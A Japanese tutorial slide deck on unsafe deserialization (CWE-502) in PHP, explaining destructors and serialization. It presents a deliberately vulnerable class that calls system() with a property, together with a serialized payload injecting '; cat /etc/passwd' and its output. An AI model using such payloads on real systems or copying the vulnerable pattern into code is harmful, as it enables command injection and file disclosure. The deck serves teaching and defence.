Movatterモバイル変換


[0]ホーム

URL:


Hiroshi Tokumaru, profile picture
Uploaded byHiroshi Tokumaru
548 views

introduction to unsafe deserialization part1

安全でないデシリアライゼーション入門基礎編です。PHPを前提として、クラスのコンストラクタ・デストラクタ、シリアライズ・デシリアライズから、脆弱なスクリプトと攻撃方法までを解説します

Embed presentation

安全でないデシリアライゼーション(CWE-502)入門~基礎編~EGセキュアソリューションズ株式会社代表取締役 徳丸 浩
2
OWASP Top 10 – 2017 の内容3項番 内容A1 インジェクションA2 認証の不備A3 機微な情報の露出A4 XML外部エンティティ参照(XXE)A5 アクセス制御の不備A6 不適切なセキュリティ設定A7 クロスサイトスクリプティング(XSS)A8 安全でないデシリアライゼーションA9 既知の脆弱性のあるコンポーネントの使用A10 不十分なロギングとモニタリングNew
安全でないデシリアライゼーション(CWE-502)とは4• クッキー等からシリアライズデータを送り込み、任意のオブジェクトをメモリ内に生成• オブジェクトが破棄されるタイミングでデストラクタが実行される• オブジェクトを巧妙に組み合わせることにより、攻撃を実行© 2016-2020 Hiroshi Tokumaru
PHPのコンストラクタ・デストラクタ超入門© 2016-2020 Hiroshi Tokumaru 5
クラス・コンストラクタ・デストラクタ<?phpclass A {public function __construct() { // コンストラクタecho "** コンストラクタ実行n"; // コンストラクタはnewの際に呼ばれる}public function __destruct() { // デストラクタecho "** デストラクタ実行n"; // デストラクタはオブジェクトが開放された} // 際に呼ばれる}echo "** プログラム開始n";$a = new A();echo "** プログラム終了n";© 2016-2020 Hiroshi Tokumaru 6
クラス・コンストラクタ・デストラクタ<?phpclass A {public function __construct() {echo "** コンストラクタ実行n";}public function __destruct() {echo "** デストラクタ実行n";}}echo "** プログラム開始n";$a = new A();echo "** プログラム終了n";© 2016-2020 Hiroshi Tokumaru 7** プログラム開始** コンストラクタ実行** プログラム終了** デストラクタ実行実行結果オブジェクトが参照されなくなるとデストラクタが実行される
シリアライズ入門© 2016-2020 Hiroshi Tokumaru 8
シリアライズとは?• serializeは「一列にする」という意味• シリアライズは、オブジェクトや配列など、構造を持ったデータを「バイト列」に変換して、伝送や蓄積しやすい形式にすること• デシリアライズは、シリアライズしたバイト列を元に戻すこと© 2016-2020 Hiroshi Tokumaru 9
以下のクラスをシリアライズしてみる<?phpclass B {public $name;public function __construct($name) {$this->name = $name; // オブジェクトに名前をつける}public function __destruct() {echo "** {$this->name}は破棄されましたn"; // デストラクタを確認}}$b = new B('hoge');echo serialize($b), PHP_EOL;© 2016-2020 Hiroshi Tokumaru 10O:1:"B":1:{s:4:"name";s:4:"hoge";}** hogeは破棄されました実行結果シリアライズ結果
先の結果をデシリアライズする<?phpclass B {public $name;public function __construct($name) {$this->name = $name;}public function __destruct() {echo "** {$this->name}は破棄されましたn";}}$s = 'O:1:"B":1:{s:4:"name";s:4:"hoge";}';var_dump(unserialize($s));© 2016-2020 Hiroshi Tokumaru 11object(B)#1 (1) {["name"]=>string(4) "hoge"}** hogeは破棄されました実行結果デストラクタが実行された生成されたオブジェクト
デシリアライズの問題点• 振り返り– シリアライズ: オブジェクトや配列などをバイト列に変換する– デシリアライズ: シリアライズ結果から元の形式に戻すこと• 外部から受け取ったバイト列をデシリアライズすると、任意のクラスのオブジェクトが作れる• ただし、クラスは既存のものに限る• オブジェクトをデシリアライズすると、最終的にオブジェクトのデストラクタが呼ばれる• デストラクタによって悪いことができる場合がある• 攻撃にあたっては、既存のクラス定義の中で「どこまでできるか」が問題になる© 2016-2020 Hiroshi Tokumaru 12
<?phpclass C { // 指定したメールアドレスにデストラクタでメール送信するpublic $mail;public function __construct($mail) {$this->mail = $mail;}public function __destruct() {system("/usr/sbin/sendmail {$this->mail} < ./template.txt");}}$c = new C('alice@example.jp');echo serialize($c), PHP_EOL;脆弱なスクリプト例(極端な例…まずはシリアライズ側)© 2016-2020 Hiroshi Tokumaru 13O:1:"C":1:{s:4:"mail";s:16:"alice@example.jp";}実行結果シリアライズ結果
<?phpclass C {public $mail;public function __construct($mail) {$this->mail = $mail;}public function __destruct() {system("/usr/sbin/sendmail {$this->mail} < ./template.txt");}}// $s は実際には外部からの文字列$s = 'O:1:"C":1:{s:4:"mail";s:16:"alice@example.jp";}';var_dump(unserialize($s));脆弱なスクリプト例(デシリアライズ側:正常系)© 2016-2020 Hiroshi Tokumaru 14object(C)#1 (1) {["mail"]=>string(16) "alice@example.jp"}実行結果デシリアライズ結果このメールアドレスにメール送信される
<?phpclass C {public $mail;public function __construct($mail) {$this->mail = $mail;}public function __destruct() {system("/usr/sbin/sendmail {$this->mail} < ./template.txt");}}// $s は実際には外部からの文字列$s = 'O:1:"C":1:{s:4:"mail";s:17:"; cat /etc/passwd";}';var_dump(unserialize($s));脆弱なスクリプト例(デシリアライズ側: 攻撃例)© 2016-2020 Hiroshi Tokumaru 15object(C)#1 (1) {["mail"]=>string(17) "; cat /etc/passwd"}実行結果デシリアライズ結果。この結果が下記が実行されるsystem("/usr/sbin/sendmail ; cat /etc/passwd < ./template.txt
/etc/passwd が表示されたobject(C)#1 (1) {["mail"]=>string(17) "; cat /etc/passwd"}sendmail: fatal: ockeghem(1000): Recipient addresses must bespecified on the command line or via the -t optionroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync# 以下略© 2016-2020 Hiroshi Tokumaru 16
安全でないデシリアライゼーション(CWE-502)とは(再掲)17• クッキー等からシリアライズデータを送り込み、任意のオブジェクトをメモリ内に生成• オブジェクトが破棄されるタイミングでデストラクタが実行される• オブジェクトを巧妙に組み合わせることにより、攻撃を実行© 2016-2020 Hiroshi Tokumaru
次のステップに向けて• 安全でないデシリアライゼーションの攻撃方法をわかりやすい例で説明しました• わかりやすい代わりに、ちょっと「わざとらしい」ですね!わざとらしくない例は次回説明する予定です• チャンネル登録してお待ち下さい (_ _)徳丸浩のウェブセキュリティ講座https://j.mp/web-sec-study© 2016-2020 Hiroshi Tokumaru 18
徳丸浩へのお仕事の依頼はEGセキュアソリューションズ株式会社までhttps://www.eg-secure.co.jp/チャンネル登録お願いします徳丸浩のウェブセキュリティ講座https://j.mp/web-sec-study© 2020 Hiroshi Tokumaru 19

Recommended

PDF
JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
PPTX
PHP Object Injection入門
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
Elastic Cloudを活用!!ゼロトラストセキュリティの「はじめの一歩」
PPTX
Salome-Meca簡単な例題:水圧を受ける軸対称円筒の弾性解析
PPTX
Sslp101
PPTX
Css2014 ruo ando_2014-10-23-01
PDF
2019年度若手技術者向け講座 インデックス
 
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PDF
Javaにおけるデータシリアライズと圧縮
PPTX
安全なWebアプリケーションの作り方2018
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PPTX
セキュアコーディング方法論再構築の試み
PPTX
安全なPHPアプリケーションの作り方2014
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PDF
PHPの今とこれから2025 (PHP Conference Japan 2025)
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PDF
PHPにないセキュリティ機能
PDF
ソースコード検査に耐えるコードとは?
PDF
PHPカンファレンス2014セキュリティ対談資料
PPTX
安全なPHPアプリケーションの作り方2016
PPTX
Php5 4勉強会
PDF
PHPの今とこれから2019
PPTX
PHPにないセキュリティ機能
PPTX
PHPにないセキュリティ機能
PDF
PHPの今とこれから2017
PDF
GC in C++0x
 
PPTX
Phpのinterfaceを使う
PPTX
ウェブセキュリティの常識
PPTX
Phpcon2015

More Related Content

PDF
JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
PPTX
PHP Object Injection入門
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
Elastic Cloudを活用!!ゼロトラストセキュリティの「はじめの一歩」
PPTX
Salome-Meca簡単な例題:水圧を受ける軸対称円筒の弾性解析
PPTX
Sslp101
PPTX
Css2014 ruo ando_2014-10-23-01
PDF
2019年度若手技術者向け講座 インデックス
 
JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
PHP Object Injection入門
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Elastic Cloudを活用!!ゼロトラストセキュリティの「はじめの一歩」
Salome-Meca簡単な例題:水圧を受ける軸対称円筒の弾性解析
Sslp101
Css2014 ruo ando_2014-10-23-01
2019年度若手技術者向け講座 インデックス
 

Similar to introduction to unsafe deserialization part1

PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PDF
Javaにおけるデータシリアライズと圧縮
PPTX
安全なWebアプリケーションの作り方2018
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PPTX
セキュアコーディング方法論再構築の試み
PPTX
安全なPHPアプリケーションの作り方2014
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PDF
PHPの今とこれから2025 (PHP Conference Japan 2025)
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PDF
PHPにないセキュリティ機能
PDF
ソースコード検査に耐えるコードとは?
PDF
PHPカンファレンス2014セキュリティ対談資料
PPTX
安全なPHPアプリケーションの作り方2016
PPTX
Php5 4勉強会
PDF
PHPの今とこれから2019
PPTX
PHPにないセキュリティ機能
PPTX
PHPにないセキュリティ機能
PDF
PHPの今とこれから2017
PDF
GC in C++0x
 
PPTX
Phpのinterfaceを使う
XXE、SSRF、安全でないデシリアライゼーション入門
Javaにおけるデータシリアライズと圧縮
安全なWebアプリケーションの作り方2018
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
セキュアコーディング方法論再構築の試み
安全なPHPアプリケーションの作り方2014
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PHPの今とこれから2025 (PHP Conference Japan 2025)
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PHPにないセキュリティ機能
ソースコード検査に耐えるコードとは?
PHPカンファレンス2014セキュリティ対談資料
安全なPHPアプリケーションの作り方2016
Php5 4勉強会
PHPの今とこれから2019
PHPにないセキュリティ機能
PHPにないセキュリティ機能
PHPの今とこれから2017
GC in C++0x
 
Phpのinterfaceを使う

More from Hiroshi Tokumaru

PPTX
ウェブセキュリティの常識
PPTX
Phpcon2015
PDF
ウェブアプリケーションセキュリティ超入門
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
PPT
SQLインジェクション再考
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
PPTX
秀スクリプトの話
PPTX
若手エンジニアのためのセキュリティ講座
PPTX
ウェブセキュリティのありがちな誤解を解説する
PPTX
ウェブセキュリティの最近の話題早分かり
PPTX
徳丸本VMに脆弱なWordPressを導入する
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPTX
セキュリティの都市伝説を暴く
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
ウェブセキュリティの常識
Phpcon2015
ウェブアプリケーションセキュリティ超入門
SPAセキュリティ入門~PHP Conference Japan 2021
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
SQLインジェクション再考
Railsエンジニアのためのウェブセキュリティ入門
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
秀スクリプトの話
若手エンジニアのためのセキュリティ講座
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティの最近の話題早分かり
徳丸本VMに脆弱なWordPressを導入する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
セキュリティの都市伝説を暴く
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう

introduction to unsafe deserialization part1


[8]ページ先頭

©2009-2025 Movatter.jp